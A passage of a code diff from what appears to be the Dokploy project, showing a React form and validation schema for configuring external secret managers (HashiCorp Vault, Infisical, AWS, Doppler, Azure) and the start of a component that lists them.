"Only letters, numbers, dashes and underscores (used in ${{vault.<name>.<secret>}})",
|
||||
}),
|
||||
providerType: z.enum(["hashicorp", "infisical", "aws", "doppler", "azure"]),
|
||||
url: z.string(),
|
||||
token: z.string(),
|
||||
namespace: z.string(),
|
||||
mount: z.string(),
|
||||
siteUrl: z.string(),
|
||||
clientId: z.string(),
|
||||
clientSecret: z.string(),
|
||||
projectId: z.string(),
|
||||
environmentSlug: z.string(),
|
||||
secretPath: z.string(),
|
||||
region: z.string(),
|
||||
accessKeyId: z.string(),
|
||||
secretAccessKey: z.string(),
|
||||
serviceToken: z.string(),
|
||||
awsEndpoint: z.string(),
|
||||
vaultUri: z.string(),
|
||||
tenantId: z.string(),
|
||||
azureClientId: z.string(),
|
||||
azureClientSecret: z.string(),
|
||||
dopplerProject: z.string(),
|
||||
dopplerConfig: z.string(),
|
||||
assignments: z.array(
|
||||
z.object({
|
||||
projectId: z.string(),
|
||||
environmentIds: z.array(z.string()),
|
||||
}),
|
||||
),
|
||||
})
|
||||
.superRefine((data, ctx) => {
|
||||
const isValidUrl = (value: string) => {
|
||||
try {
|
||||
new URL(value);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
if (
|
||||
data.providerType === "hashicorp" &&
|
||||
data.url &&
|
||||
!isValidUrl(data.url)
|
||||
) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message: "Enter a valid URL (e.g. https://vault.example.com:8200)",
|
||||
path: ["url"],
|
||||
});
|
||||
}
|
||||
if (
|
||||
data.providerType === "azure" &&
|
||||
data.vaultUri &&
|
||||
!isValidUrl(data.vaultUri)
|
||||
) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message: "Enter a valid URL (e.g. https://my-vault.vault.azure.net)",
|
||||
path: ["vaultUri"],
|
||||
});
|
||||
}
|
||||
if (
|
||||
data.providerType === "aws" &&
|
||||
data.awsEndpoint &&
|
||||
!isValidUrl(data.awsEndpoint)
|
||||
) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message: "Enter a valid URL",
|
||||
path: ["awsEndpoint"],
|
||||
});
|
||||
}
|
||||
if (
|
||||
data.providerType === "infisical" &&
|
||||
data.siteUrl &&
|
||||
!isValidUrl(data.siteUrl)
|
||||
) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message: "Enter a valid URL (e.g. https://app.infisical.com)",
|
||||
path: ["siteUrl"],
|
||||
});
|
||||
}
|
||||
|
||||
const required: Partial<
|
||||
Record<ProviderType, [keyof typeof data, string][]>
|
||||
> = {
|
||||
hashicorp: [
|
||||
["url", "Vault URL is required"],
|
||||
["token", "Token is required"],
|
||||
["mount", "Mount is required"],
|
||||
],
|
||||
infisical: [
|
||||
["siteUrl", "Site URL is required"],
|
||||
["clientId", "Client ID is required"],
|
||||
["clientSecret", "Client Secret is required"],
|
||||
["projectId", "Project ID is required"],
|
||||
["environmentSlug", "Environment is required"],
|
||||
],
|
||||
aws: [
|
||||
["region", "Region is required"],
|
||||
["accessKeyId", "Access Key ID is required"],
|
||||
["secretAccessKey", "Secret Access Key is required"],
|
||||
],
|
||||
doppler: [["serviceToken", "Service Token is required"]],
|
||||
azure: [
|
||||
["vaultUri", "Vault URI is required"],
|
||||
["tenantId", "Tenant ID is required"],
|
||||
["azureClientId", "Client ID is required"],
|
||||
["azureClientSecret", "Client Secret is required"],
|
||||
],
|
||||
};
|
||||
|
||||
for (const [field, message] of required[data.providerType] ?? []) {
|
||||
if (!data[field]) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message,
|
||||
path: [field],
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (
|
||||
data.providerType === "doppler" &&
|
||||
data.serviceToken &&
|
||||
!data.serviceToken.startsWith("dp.st.") &&
|
||||
data.serviceToken !== "********"
|
||||
) {
|
||||
for (const field of ["dopplerProject", "dopplerConfig"] as const) {
|
||||
if (!data[field]) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message: "Required for personal/CLI tokens (dp.pt. / dp.ct.)",
|
||||
path: [field],
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
type VaultProviderForm = z.infer<typeof VaultProviderSchema>;
|
||||
|
||||
const defaultValues: VaultProviderForm = {
|
||||
name: "",
|
||||
providerType: "hashicorp",
|
||||
url: "",
|
||||
token: "",
|
||||
namespace: "",
|
||||
mount: "secret",
|
||||
siteUrl: "https://app.infisical.com",
|
||||
clientId: "",
|
||||
clientSecret: "",
|
||||
projectId: "",
|
||||
environmentSlug: "",
|
||||
secretPath: "/",
|
||||
region: "",
|
||||
accessKeyId: "",
|
||||
secretAccessKey: "",
|
||||
serviceToken: "",
|
||||
awsEndpoint: "",
|
||||
vaultUri: "",
|
||||
tenantId: "",
|
||||
azureClientId: "",
|
||||
azureClientSecret: "",
|
||||
dopplerProject: "",
|
||||
dopplerConfig: "",
|
||||
assignments: [],
|
||||
};
|
||||
|
||||
const buildConfig = (data: VaultProviderForm) => {
|
||||
switch (data.providerType) {
|
||||
case "hashicorp":
|
||||
return {
|
||||
providerType: "hashicorp" as const,
|
||||
url: data.url,
|
||||
token: data.token,
|
||||
namespace: data.namespace || undefined,
|
||||
mount: data.mount || "secret",
|
||||
};
|
||||
case "infisical":
|
||||
return {
|
||||
providerType: "infisical" as const,
|
||||
siteUrl: data.siteUrl || "https://app.infisical.com",
|
||||
clientId: data.clientId,
|
||||
clientSecret: data.clientSecret,
|
||||
projectId: data.projectId,
|
||||
environmentSlug: data.environmentSlug,
|
||||
secretPath: data.secretPath || "/",
|
||||
};
|
||||
case "aws":
|
||||
return {
|
||||
providerType: "aws" as const,
|
||||
region: data.region,
|
||||
accessKeyId: data.accessKeyId,
|
||||
secretAccessKey: data.secretAccessKey,
|
||||
endpoint: data.awsEndpoint || undefined,
|
||||
};
|
||||
case "doppler":
|
||||
return {
|
||||
providerType: "doppler" as const,
|
||||
serviceToken: data.serviceToken,
|
||||
project: data.dopplerProject || undefined,
|
||||
config: data.dopplerConfig || undefined,
|
||||
};
|
||||
case "azure":
|
||||
return {
|
||||
providerType: "azure" as const,
|
||||
vaultUri: data.vaultUri,
|
||||
tenantId: data.tenantId,
|
||||
clientId: data.azureClientId,
|
||||
clientSecret: data.azureClientSecret,
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
const extractErrorMessage = (err: unknown) => {
|
||||
if (!(err instanceof Error)) return undefined;
|
||||
try {
|
||||
const issues = JSON.parse(err.message) as { message?: string }[];
|
||||
if (Array.isArray(issues)) {
|
||||
return issues
|
||||
.map((issue) => issue.message)
|
||||
.filter(Boolean)
|
||||
.join(", ");
|
||||
}
|
||||
} catch {}
|
||||
return err.message;
|
||||
};
|
||||
|
||||
interface Props {
|
||||
vaultProviderId?: string;
|
||||
}
|
||||
|
||||
export const HandleVaultProvider = ({ vaultProviderId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
|
||||
const { data: provider } = api.vaultProvider.one.useQuery(
|
||||
{ vaultProviderId: vaultProviderId || "" },
|
||||
{ enabled: !!vaultProviderId && isOpen },
|
||||
);
|
||||
|
||||
const { mutateAsync, isPending, error, isError } = vaultProviderId
|
||||
? api.vaultProvider.update.useMutation()
|
||||
: api.vaultProvider.create.useMutation();
|
||||
|
||||
const { mutateAsync: testConnection, isPending: isTesting } =
|
||||
api.vaultProvider.testConnection.useMutation();
|
||||
|
||||
const form = useForm<VaultProviderForm>({
|
||||
defaultValues,
|
||||
resolver: zodResolver(VaultProviderSchema),
|
||||
});
|
||||
|
||||
const providerType = form.watch("providerType");
|
||||
const assignments = form.watch("assignments");
|
||||
const { data: orgProjects } = api.project.all.useQuery();
|
||||
|
||||
const setAssignments = (
|
||||
next: { projectId: string; environmentIds: string[] }[],
|
||||
) => form.setValue("assignments", next, { shouldValidate: true });
|
||||
|
||||
const toggleProject = (targetProjectId: string) => {
|
||||
const exists = assignments.some((a) => a.projectId === targetProjectId);
|
||||
setAssignments(
|
||||
exists
|
||||
? assignments.filter((a) => a.projectId !== targetProjectId)
|
||||
: [...assignments, { projectId: targetProjectId, environmentIds: [] }],
|
||||
);
|
||||
};
|
||||
|
||||
const toggleEnvironment = (
|
||||
targetProjectId: string,
|
||||
environmentId: string,
|
||||
) => {
|
||||
setAssignments(
|
||||
assignments.map((a) => {
|
||||
if (a.projectId !== targetProjectId) return a;
|
||||
const has = a.environmentIds.includes(environmentId);
|
||||
return {
|
||||
...a,
|
||||
environmentIds: has
|
||||
? a.environmentIds.filter((e) => e !== environmentId)
|
||||
: [...a.environmentIds, environmentId],
|
||||
};
|
||||
}),
|
||||
);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
if (provider) {
|
||||
form.reset({
|
||||
...defaultValues,
|
||||
name: provider.name,
|
||||
providerType: provider.config.providerType,
|
||||
assignments: provider.assignments ?? [],
|
||||
...(provider.config.providerType === "hashicorp" && {
|
||||
url: provider.config.url,
|
||||
token: provider.config.token,
|
||||
namespace: provider.config.namespace ?? "",
|
||||
mount: provider.config.mount,
|
||||
}),
|
||||
...(provider.config.providerType === "infisical" && {
|
||||
siteUrl: provider.config.siteUrl,
|
||||
clientId: provider.config.clientId,
|
||||
clientSecret: provider.config.clientSecret,
|
||||
projectId: provider.config.projectId,
|
||||
environmentSlug: provider.config.environmentSlug,
|
||||
secretPath: provider.config.secretPath,
|
||||
}),
|
||||
...(provider.config.providerType === "aws" && {
|
||||
region: provider.config.region,
|
||||
accessKeyId: provider.config.accessKeyId,
|
||||
secretAccessKey: provider.config.secretAccessKey,
|
||||
awsEndpoint: provider.config.endpoint ?? "",
|
||||
}),
|
||||
...(provider.config.providerType === "doppler" && {
|
||||
serviceToken: provider.config.serviceToken,
|
||||
dopplerProject: provider.config.project ?? "",
|
||||
dopplerConfig: provider.config.config ?? "",
|
||||
}),
|
||||
...(provider.config.providerType === "azure" && {
|
||||
vaultUri: provider.config.vaultUri,
|
||||
tenantId: provider.config.tenantId,
|
||||
azureClientId: provider.config.clientId,
|
||||
azureClientSecret: provider.config.clientSecret,
|
||||
}),
|
||||
});
|
||||
} else if (!vaultProviderId) {
|
||||
form.reset(defaultValues);
|
||||
}
|
||||
}, [provider, vaultProviderId, form, isOpen]);
|
||||
|
||||
const onSubmit = async (data: VaultProviderForm) => {
|
||||
const payload: any = {
|
||||
name: data.name,
|
||||
config: buildConfig(data),
|
||||
assignments: data.assignments,
|
||||
...(vaultProviderId && { vaultProviderId }),
|
||||
};
|
||||
await mutateAsync(payload)
|
||||
.then(() => {
|
||||
toast.success(
|
||||
vaultProviderId ? "Vault provider updated" : "Vault provider created",
|
||||
);
|
||||
utils.vaultProvider.all.invalidate();
|
||||
setIsOpen(false);
|
||||
})
|
||||
.catch(() => {});
|
||||
};
|
||||
|
||||
const onTestConnection = async () => {
|
||||
const isValid = await form.trigger();
|
||||
if (!isValid) {
|
||||
return;
|
||||
}
|
||||
const data = form.getValues();
|
||||
await testConnection({
|
||||
config: buildConfig(data),
|
||||
...(vaultProviderId && { vaultProviderId }),
|
||||
})
|
||||
.then(() => {
|
||||
toast.success("Connection successful");
|
||||
})
|
||||
.catch((err) => {
|
||||
toast.error("Connection failed", {
|
||||
description: extractErrorMessage(err),
|
||||
});
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||
<DialogTrigger asChild>
|
||||
{vaultProviderId ? (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-blue-500/10"
|
||||
>
|
||||
<PenBoxIcon className="size-4 text-primary group-hover:text-blue-500" />
|
||||
</Button>
|
||||
) : (
|
||||
<Button className="cursor-pointer space-x-3">
|
||||
<PlusIcon className="h-4 w-4" />
|
||||
Add Provider
|
||||
</Button>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="max-h-screen overflow-y-auto sm:max-w-lg">
|
||||
<DialogHeader>
|
||||
<DialogTitle>
|
||||
{vaultProviderId ? "Update Vault Provider" : "Add Vault Provider"}
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
Reference secrets in your environment variables with{" "}
|
||||
<code>{"${{vault.<name>.<secret>}}"}</code>. Secrets are fetched at
|
||||
deploy time and never stored in Dokploy.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||
<Form {...form}>
|
||||
<form
|
||||
onSubmit={form.handleSubmit(onSubmit)}
|
||||
className="grid w-full gap-4"
|
||||
>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="name"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Name</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="prod-vault" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="providerType"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Provider</FormLabel>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
value={field.value}
|
||||
disabled={!!vaultProviderId}
|
||||
>
|
||||
<FormControl>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Select a provider" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{Object.entries(providerLabels).map(([value, label]) => {
|
||||
const ProviderIcon =
|
||||
vaultProviderIcons[value as ProviderType];
|
||||
return (
|
||||
<SelectItem key={value} value={value}>
|
||||
<div className="flex flex-row items-center gap-2">
|
||||
<ProviderIcon className="size-4 shrink-0" />
|
||||
{label}
|
||||
</div>
|
||||
</SelectItem>
|
||||
);
|
||||
})}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
{providerType === "hashicorp" && (
|
||||
<>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="url"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Vault URL</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://vault.example.com:8200"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="token"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Token</FormLabel>
|
||||
<FormControl>
|
||||
<Input type="password" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="mount"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>KV Mount</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="secret" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="namespace"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Namespace (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="admin" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<FormDescription>
|
||||
Reference format:{" "}
|
||||
<code>{"${{vault.<name>.path/to/secret:FIELD}}"}</code>
|
||||
</FormDescription>
|
||||
</>
|
||||
)}
|
||||
|
||||
{providerType === "infisical" && (
|
||||
<>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="siteUrl"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Site URL</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://app.infisical.com"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="clientId"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Client ID</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="clientSecret"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Client Secret</FormLabel>
|
||||
<FormControl>
|
||||
<Input type="password" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="projectId"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Project ID</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="environmentSlug"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Environment</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="prod" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="secretPath"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Secret Path</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="/" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
|
||||
{providerType === "aws" && (
|
||||
<>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="region"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Region</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="us-east-1" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="accessKeyId"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Access Key ID</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="secretAccessKey"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Secret Access Key</FormLabel>
|
||||
<FormControl>
|
||||
<Input type="password" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="awsEndpoint"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Endpoint (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="http://localhost:4566" {...field} />
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
Custom endpoint for VPC endpoints or API-compatible
|
||||
emulators
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormDescription>
|
||||
Reference format:{" "}
|
||||
<code>{"${{vault.<name>.secret-name}}"}</code> or{" "}
|
||||
<code>{"${{vault.<name>.secret-name:field}}"}</code> for JSON
|
||||
secrets
|
||||
</FormDescription>
|
||||
</>
|
||||
)}
|
||||
|
||||
{providerType === "azure" && (
|
||||
<>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="vaultUri"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Vault URI</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://my-vault.vault.azure.net"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="tenantId"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Tenant ID</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="azureClientId"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Client ID</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="azureClientSecret"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Client Secret</FormLabel>
|
||||
<FormControl>
|
||||
<Input type="password" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<FormDescription>
|
||||
App Registration with the "Key Vault Secrets User" role on the
|
||||
vault. Reference format:{" "}
|
||||
<code>{"${{vault.<name>.secret-name}}"}</code>
|
||||
</FormDescription>
|
||||
</>
|
||||
)}
|
||||
|
||||
{providerType === "doppler" && (
|
||||
<>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="serviceToken"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Token</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
type="password"
|
||||
placeholder="dp.st..."
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
Service tokens (dp.st.) are recommended: read-only and
|
||||
scoped to a single project + config
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-2 gap-4">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="dopplerProject"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Project (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="my-project" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="dopplerConfig"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Config (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="prd" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<FormDescription>
|
||||
Only needed for personal (dp.pt.) or CLI (dp.ct.) tokens —
|
||||
service tokens already carry them
|
||||
</FormDescription>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="flex flex-col gap-2 rounded-lg border p-3">
|
||||
<FormLabel>Access</FormLabel>
|
||||
<FormDescription>
|
||||
This provider can only be referenced from the selected projects.
|
||||
Pick environments to narrow it further — none selected means all
|
||||
environments of that project.
|
||||
</FormDescription>
|
||||
<div className="flex flex-col gap-2">
|
||||
{orgProjects?.map((project) => {
|
||||
const assignment = assignments.find(
|
||||
(a) => a.projectId === project.projectId,
|
||||
);
|
||||
return (
|
||||
<div
|
||||
key={project.projectId}
|
||||
className="flex flex-col gap-1.5"
|
||||
>
|
||||
<label className="flex flex-row items-center gap-2 text-sm cursor-pointer">
|
||||
<Checkbox
|
||||
checked={!!assignment}
|
||||
onCheckedChange={() =>
|
||||
toggleProject(project.projectId)
|
||||
}
|
||||
/>
|
||||
{project.name}
|
||||
</label>
|
||||
{assignment && (
|
||||
<div className="flex flex-row flex-wrap gap-3 pl-6">
|
||||
{project.environments?.map((environment) => (
|
||||
<label
|
||||
key={environment.environmentId}
|
||||
className="flex flex-row items-center gap-1.5 text-xs text-muted-foreground cursor-pointer"
|
||||
>
|
||||
<Checkbox
|
||||
checked={assignment.environmentIds.includes(
|
||||
environment.environmentId,
|
||||
)}
|
||||
onCheckedChange={() =>
|
||||
toggleEnvironment(
|
||||
project.projectId,
|
||||
environment.environmentId,
|
||||
)
|
||||
}
|
||||
/>
|
||||
{environment.name}
|
||||
</label>
|
||||
))}
|
||||
{assignment.environmentIds.length === 0 && (
|
||||
<span className="text-xs text-muted-foreground italic self-center">
|
||||
All environments
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
{form.formState.errors.assignments && (
|
||||
<p className="text-sm font-medium text-destructive">
|
||||
{form.formState.errors.assignments.message}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<DialogFooter className="flex w-full flex-row justify-between gap-2 sm:justify-between">
|
||||
<Button
|
||||
type="button"
|
||||
variant="secondary"
|
||||
isLoading={isTesting}
|
||||
onClick={onTestConnection}
|
||||
>
|
||||
Test Connection
|
||||
</Button>
|
||||
<Button type="submit" isLoading={isPending}>
|
||||
{vaultProviderId ? "Update" : "Create"}
|
||||
</Button>
|
||||
</DialogFooter>
|
||||
</form>
|
||||
</Form>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,166 @@
|
||||
import { Loader2, Trash2, Vault } from "lucide-react";
|
||||
import { toast } from "sonner";
|
||||
import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { api } from "@/utils/api";
|
||||
import { HandleVaultProvider } from "./handle-vault-provider";
|
||||
|
||||
const providerLabels: Record<string, string> = {
|
||||
hashicorp: "HashiCorp Vault",
|
||||
infisical: "Infisical",
|
||||
aws: "AWS Secrets Manager",
|
||||
doppler: "Doppler",
|
||||
azure: "Azure Key Vault",
|
||||
};
|
||||
|
||||
export const ShowVaultProviders = () => {
|
||||
const { mutateAsync, isPending: isRemoving } =
|
||||
api.vaultProvider.remove.useMutation();
|
||||
const { data, isPending, refetch } = api.vaultProvider.all.useQuery();
|
||||
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
|
||||
<div className="rounded-xl bg-background shadow-md">
|
||||
<CardHeader>
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Vault className="size-6 text-muted-foreground self-center" />
|
||||
Secrets Providers
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Connect external secret managers and reference their secrets in
|
||||
environment variables with{" "}
|
||||
<code>{"${{vault.<name>.<secret>}}"}</code>
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2 py-8 border-t">
|
||||
{isPending ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
{data?.length === 0 ? (
|
||||
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
|
||||
<Vault className="size-8 self-center text-muted-foreground" />
|
||||
<span className="text-base text-muted-foreground text-center">
|
||||
You don't have any secrets providers configured
|
||||
</span>
|
||||
{permissions?.vaultProvider.create && (
|
||||
<HandleVaultProvider />
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col gap-4 min-h-[25vh]">
|
||||
<div className="flex flex-col gap-4 rounded-lg">
|
||||
{data?.map((provider) => {
|
||||
const ProviderIcon =
|
||||
vaultProviderIcons[provider.providerType];
|
||||
return (
|
||||
<div
|
||||
key={provider.vaultProviderId}
|
||||
className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
|
||||
>
|
||||
<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
|
||||
<div className="flex flex-row items-center gap-3">
|
||||
<ProviderIcon className="size-7 shrink-0" />
|
||||
<div className="flex gap-2 flex-col">
|
||||
<span className="text-sm font-medium">
|
||||
{provider.name}
|
||||
</span>
|
||||
<div className="flex flex-row gap-2 items-center">
|
||||
{provider.assignments.length === 0 ? (
|
||||
<Badge variant="destructive">
|
||||
Not assigned
|
||||
</Badge>
|
||||
) : (
|
||||
<Badge variant="secondary">
|
||||
{provider.assignments.length}{" "}
|
||||
{provider.assignments.length === 1
|
||||
? "project"
|
||||
: "projects"}
|
||||
</Badge>
|
||||
)}
|
||||
<Badge variant="outline">
|
||||
{providerLabels[provider.providerType] ??
|
||||
provider.providerType}
|
||||
</Badge>
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{"${{vault." + provider.name + ".…}}"}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-row gap-1">
|
||||
{permissions?.vaultProvider.update && (
|
||||
<HandleVaultProvider
|
||||
